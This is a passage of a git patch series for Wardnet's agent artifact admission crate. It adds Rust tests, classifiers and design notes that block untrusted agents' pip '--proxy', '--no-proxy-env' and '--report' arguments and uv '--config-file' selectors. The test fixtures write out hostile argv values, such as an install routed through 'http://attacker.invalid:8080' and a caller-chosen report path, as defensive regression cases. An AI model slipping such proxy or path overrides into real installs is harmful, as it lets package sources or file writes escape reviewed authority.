selects a caller-supplied `uv.toml`. Astral documents both this CLI selector and configuration-file index settings, including a default package index. If an untrusted agent can select that file, the same structured install intent can delegate package-source and trust configuration to data outside the reviewed admission coordinate. + +This is Wardnet policy authority, not transport execution. Wardnet therefore rejects the caller-selected configuration selector. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. + +## Constraints and alternatives + +The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not parse or trust the selected `uv.toml`, copy uv configuration semantics into Wardnet, or infer that an EgressWeave transport allow would authorize a different package source. + +Three alternatives were considered: + +1. Parse the selected configuration file and admit a request when its effective index appears equivalent. Rejected because this creates a second uv configuration interpreter inside Wardnet and moves runtime/configuration truth into the wrong bounded context. +2. Rely on EgressWeave to block the resulting network destination. Rejected because transport authorization cannot repair a pre-execution admission decision whose reviewed package authority has already been widened. +3. Reject `--config-file` as an alternate trust/configuration authority for the currently supported `uv pip install` path. Chosen because it is fail-closed, minimal, reversible, and preserves owner boundaries. + +## RED and causal repair + +Issue #264 records the hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The parent #129 exact head had terminal-green Wardnet-owned CI before this test-only child, so the failure is retained as semantic RED rather than an infrastructure or formatter failure. + +The causal repair is a Wardnet-local classifier for only the supported `uv pip install` command. Both `--config-file` and `--config-file=` map to the existing stable `alternate_trust_root` reason and force `Block`. The implementation deliberately does not read the file or reproduce uv's configuration hierarchy. + +## Risk and follow-up + +The CLI selector is only one configuration channel. Environment-provided configuration such as `UV_CONFIG_FILE`, inherited user/system files, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. + +A child merge into #129 is not protected-product completion. #264 remains open until the integrated Agent Artifact Admission lineage reaches protected `main`, and the successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. + +## Traceability + +- CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration selector is treated here as an admission authority change rather than ordinary argument detail. +- NIST SSDF PW.4 requires reusable security controls and secure coding practices to prevent common vulnerabilities; the fail-closed classifier is a narrow preventive control at the command-admission boundary. +- Astral's uv CLI reference is authoritative for `uv pip install --config-file`; Astral's configuration-file documentation is authoritative for configuration-defined package indexes. + +## References + +Astral Software, Inc. (2026). *Commands: uv pip install*. https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (2026). *Configuration files*. https://docs.astral.sh/uv/configuration/files/ + +MITRE. (2026). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 From 030825ff451742ac39ae8858ce7a233aacc3c3b5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:32:27 +0900 Subject: [PATCH 297/702] test(admission): expose pip proxy authority bypass --- .../tests/pypi_proxy_authority_contract.rs | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs new file mode 100644 index 00000000..986bd6ed --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -0,0 +1,93 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn approved_pip_install_without_proxy_override_remains_allowed() { + let (policy, intent) = approved_pip_install("pip"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn pip_proxy_override_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_pip_install("pip"); + intent + .argv + .push("--proxy=http://attacker.invalid:8080".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "an approved artifact must not authorize a caller-selected pip proxy" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "proxy routing authority must be classified explicitly: {:?}", + decision.reason_codes + ); +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-proxy-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-proxy-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 9ac8776202622bf7902f76741c94064ce4516797 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:35:57 +0900 Subject: [PATCH 298/702] fix(admission): reject caller-selected pip proxy routing --- .../src/pypi_proxy_authority.rs | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_proxy_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs new file mode 100644 index 00000000..84caf998 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -0,0 +1,24 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install delegates proxy routing to caller-selected argv. +pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| argument == "--proxy" || argument.starts_with("--proxy=")) +} From 215bb98c5a61dad77f08218734f0671a167dacdf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:36:17 +0900 Subject: [PATCH 299/702] fix(admission): apply pip proxy authority classifier --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index f403e2af..fd1424ea 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_hash_mode; +mod pypi_proxy_authority; mod uv_configuration_authority; pub use admission::{ @@ -85,6 +86,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { if !decision .reason_codes From 29b08e0f332c6893f01d267958e5dd30a8fa4f8f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:36:50 +0900 Subject: [PATCH 300/702] test(admission): cover pip proxy authority forms --- .../tests/pypi_proxy_authority_contract.rs | 76 ++++++++++++++----- 1 file changed, 55 insertions(+), 21 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 986bd6ed..133fb81b 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -9,35 +9,69 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn approved_pip_install_without_proxy_override_remains_allowed() { - let (policy, intent) = approved_pip_install("pip"); + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Allow); - assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} baseline must remain admissible" + ); + assert!(decision.reason_codes.is_empty()); + } } #[test] fn pip_proxy_override_cannot_inherit_artifact_approval() { - let (policy, mut intent) = approved_pip_install("pip"); - intent - .argv - .push("--proxy=http://attacker.invalid:8080".to_string()); + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .push("--proxy=http://attacker.invalid:8080".to_string()); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "an approved artifact must not authorize a caller-selected pip proxy" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "proxy routing authority must be classified explicitly: {:?}", - decision.reason_codes - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let an approved artifact authorize a caller-selected proxy" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "attached proxy routing authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--proxy".to_string()); + intent + .argv + .push("http://attacker.invalid:8080".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate proxy syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate proxy syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", + decision.reason_codes + ); + } } fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { From 9a6767cb8f863a70dac5419eec2beb722c77d19e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:40:53 +0900 Subject: [PATCH 301/702] style(admission): rustfmt pip proxy contract --- .../tests/pypi_proxy_authority_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 133fb81b..c2b60dd8 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -53,9 +53,7 @@ fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { for executable in ["pip", "pip3"] { let (policy, mut intent) = approved_pip_install(executable); intent.argv.push("--proxy".to_string()); - intent - .argv - .push("http://attacker.invalid:8080".to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); let decision = admission_decision(&policy, &intent); From 7c63ef4369007b6e0a04bcf3108f12852d258108 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:46:15 +0900 Subject: [PATCH 302/702] test(admission): expose pip proxy environment bypass --- .../tests/pypi_proxy_authority_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index c2b60dd8..2e8262d1 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -72,6 +72,29 @@ fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { } } +#[test] +fn pip_no_proxy_env_cannot_disable_reviewed_runtime_proxy_selection() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--no-proxy-env".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let caller argv disable runtime proxy selection" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "proxy-environment suppression must be classified explicitly: {:?}", + decision.reason_codes + ); + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 1405c54e392fa3dc4410ee225c6232ecf658cf40 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:49:15 +0900 Subject: [PATCH 303/702] fix(admission): reject pip proxy environment suppression --- .../agent-artifact-admission/src/pypi_proxy_authority.rs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index 84caf998..06c8de76 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -17,8 +17,9 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - return false; } - arguments - .iter() - .skip(1) - .any(|argument| argument == "--proxy" || argument.starts_with("--proxy=")) + arguments.iter().skip(1).any(|argument| { + argument == "--no-proxy-env" + || argument == "--proxy" + || argument.starts_with("--proxy=") + }) } From 022627979418bee72a14144733dbfeff043cd195 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 01:50:23 +0900 Subject: [PATCH 304/702] style(admission): rustfmt proxy authority classifier --- crates/agent-artifact-admission/src/pypi_proxy_authority.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index 06c8de76..c099705b 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -18,8 +18,6 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - } arguments.iter().skip(1).any(|argument| { - argument == "--no-proxy-env" - || argument == "--proxy" - || argument.starts_with("--proxy=") + argument == "--no-proxy-env" || argument == "--proxy" || argument.starts_with("--proxy=") }) } From e15594f3b1c46f751fbce3f18ffb4b548ae97278 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:26:36 +0900 Subject: [PATCH 305/702] test(security): reject unreviewed pip report output authority --- .../pypi_install_report_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs new file mode 100644 index 00000000..cc0c7baa --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_report_write_authority() { + let (policy, mut intent) = approved_pip_install(); + + let control = admission_decision(&policy, &intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved pip install must remain admissible before adding report output authority" + ); + + intent + .argv + .push("--report=/tmp/wardnet-install-report.json".to_string()); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "pip --report grants a caller-selected filesystem write destination and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "pip --report must use the stable alternate_install_root reason" + ); +} + +fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pip-report-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 37315dd44ff27f50f63644bf9a5df847021b119b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:30:06 +0900 Subject: [PATCH 306/702] fix(security): block caller-selected pip report output --- .../src/pypi_install_report_authority.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_install_report_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_install_report_authority.rs b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs new file mode 100644 index 00000000..138b44d1 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks the installer to write its JSON report +/// to a caller-selected destination outside the reviewed artifact mutation contract. +pub(crate) fn requests_unapproved_pypi_report_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| argument == "--report" || argument.starts_with("--report=")) +} From 6815776a00b1a496cf74d7d20e9a2b3dd7b57339 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:30:25 +0900 Subject: [PATCH 307/702] fix(security): enforce pip report write boundary --- crates/agent-artifact-admission/src/lib.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index fd1424ea..4f3428da 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_hash_mode; +mod pypi_install_report_authority; mod pypi_proxy_authority; mod uv_configuration_authority; @@ -86,6 +87,17 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_install_report_authority::requests_unapproved_pypi_report_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision + .reason_codes + .push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { if !decision .reason_codes From ff98da8c424ca13344d94093ff0a18114b9a1324 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:30:48 +0900 Subject: [PATCH 308/702] test(security): cover pip report option spellings --- .../pypi_install_report_authority_contract.rs | 65 +++++++++++-------- 1 file changed, 37 insertions(+), 28 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs index cc0c7baa..3a28dd7b 100644 --- a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -5,35 +5,44 @@ use wardnet_agent_artifact_admission::{ #[test] fn approved_pip_install_cannot_gain_caller_selected_report_write_authority() { - let (policy, mut intent) = approved_pip_install(); + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding report output authority" + ); - let control = admission_decision(&policy, &intent); - assert_eq!( - control.decision, - DecisionKind::Allow, - "the exact approved pip install must remain admissible before adding report output authority" - ); + for report_arguments in [ + vec!["--report=/tmp/wardnet-install-report.json"], + vec!["--report", "/tmp/wardnet-install-report.json"], + ] { + let mut intent = control_intent.clone(); + intent + .argv + .extend(report_arguments.iter().map(|argument| (*argument).to_string())); - intent - .argv - .push("--report=/tmp/wardnet-install-report.json".to_string()); - let decision = admission_decision(&policy, &intent); - - assert_eq!( - decision.decision, - DecisionKind::Block, - "pip --report grants a caller-selected filesystem write destination and must fail closed" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root"), - "pip --report must use the stable alternate_install_root reason" - ); + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} grants caller-selected report write authority and must fail closed", + report_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {} must include the stable alternate_install_root reason", + report_arguments.join(" ") + ); + } + } } -fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), name: "cwl-example".to_string(), @@ -46,7 +55,7 @@ fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { let policy = AdmissionPolicy { policy_id: "enterprise-default".to_string(), policy_revision: "2026-09-11.1".to_string(), - allowed_executables: vec!["pip".to_string()], + allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), @@ -62,12 +71,12 @@ fn approved_pip_install() -> (AdmissionPolicy, InstallIntent) { }], }; let intent = InstallIntent { - request_id: "req-pip-report-authority".to_string(), + request_id: format!("req-{executable}-report-authority"), actor_id: "agent:codex:test".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), argv: vec![ - "pip".to_string(), + executable.to_string(), "install".to_string(), "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), From 763689e059e2c74fe9d5f9258c23ef8fd19b84da Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:31:59 +0900 Subject: [PATCH 309/702] docs(security): trace pip report write authority --- .../pypi-install-report-authority.md | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 docs/doctoring/pypi-install-report-authority.md diff --git a/docs/doctoring/pypi-install-report-authority.md b/docs/doctoring/pypi-install-report-authority.md new file mode 100644 index 00000000..59427002 --- /dev/null +++ b/docs/doctoring/pypi-install-report-authority.md @@ -0,0 +1,41 @@ +# PyPI installation-report write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install --report` arguments before execution. The admission receipt authorizes only the reviewed artifact mutation represented by the structured install intent; it does not authorize an additional caller-chosen filesystem write destination. + +Both `--report=` and `--report ` fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, open, create, or otherwise authorize the requested path. + +## Problem and threat + +An exact approved PyPI artifact can otherwise retain the same package name, version, registry, publisher, digest, manifest digest, `--require-hashes`, and `--no-deps` while adding `--report=/attacker/selected/path.json`. The option token begins with `-`, so it is not an undeclared positional artifact operand. Without an explicit admission rule, the extra write capability can inherit artifact approval even though it is outside the reviewed mutation contract. + +This maps to CWE-73, External Control of File Name or Path: externally influenced pathnames can grant file access or modification capability that the caller would not otherwise possess. Wardnet therefore denies the additional argv authority rather than attempting path sanitization. + +## Primary-source evidence + +At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` defines `--report` with a caller-provided `file` destination. During `InstallCommand.run`, when that destination is not `-`, pip opens the supplied filename for UTF-8 JSON output before proceeding with installation preparation. This is an observable filesystem-write side effect controlled by installer argv, not part of the approved artifact identity. + +The test-first Wardnet specimen at `e15594f3b1c46f751fbce3f18ffb4b548ae97278` kept production code byte-identical and added `--report=/tmp/wardnet-install-report.json` to an otherwise-approved direct pip install. Hosted CI `34508270927`, rust job `102975711419`, reached the semantic assertion on Ubuntu 24.04 and returned `Allow` where the contract required `Block`. Formatting and all preceding workspace tests were successful, isolating the missing admission classifier as the causal defect. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument must not inherit Agent Artifact Admission authority. This rule is intentionally syntactic and fail-closed. + +`quarantine-sandbox-runtime` remains canonical owner of the effective runtime filesystem, mount, workspace, privilege, cleanup, and isolation boundary. Wardnet does not duplicate sandbox path enforcement. EgressWeave remains canonical owner of outbound transport authorization. AppGuardrail remains canonical owner of static package/security analysis. No foreign source or mutable sibling dependency is copied into this bounded context. + +## Alternatives considered + +Allowing `--report=-` while rejecting file paths would preserve a stdout-only mode, but it would require Wardnet to parse option/value semantics that are unnecessary for the current product contract. The safer and smaller authority model is to reject the entire optional reporting capability until a reviewed use case explicitly requires it. + +Sanitizing or constraining the caller-selected path was rejected because it would move runtime filesystem policy into Wardnet and duplicate quarantine ownership. Relying only on sandbox containment was also rejected: admission should not grant a side effect merely because another boundary may later constrain its impact. + +## Verification contract + +The exact approved direct `pip` and `pip3` install controls must remain admissible. Attached and separate `--report` spellings must return `Block` and include `alternate_install_root`. Tests must not execute pip or perform filesystem writes. Every production change invalidates predecessor workflow evidence and requires exact-head CI/security review before integration. + +## Traceability + +- CWE-73: External Control of File Name or Path, CWE 4.20. https://cwe.mitre.org/data/definitions/73.html +- Python Packaging Authority. (2026). *pip installation command implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py +- Wardnet issue #268 and Draft PR #269 retain the hostile RED, causal repair, exact-head checks, and protected-main adoption criteria. From 491e2d155948fcc8d51cbce1dd95c48703160c6e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:32:57 +0900 Subject: [PATCH 310/702] style(rust): apply rustfmt to report authority guard --- crates/agent-artifact-admission/src/lib.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 4f3428da..4971f1ad 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -92,9 +92,7 @@ pub 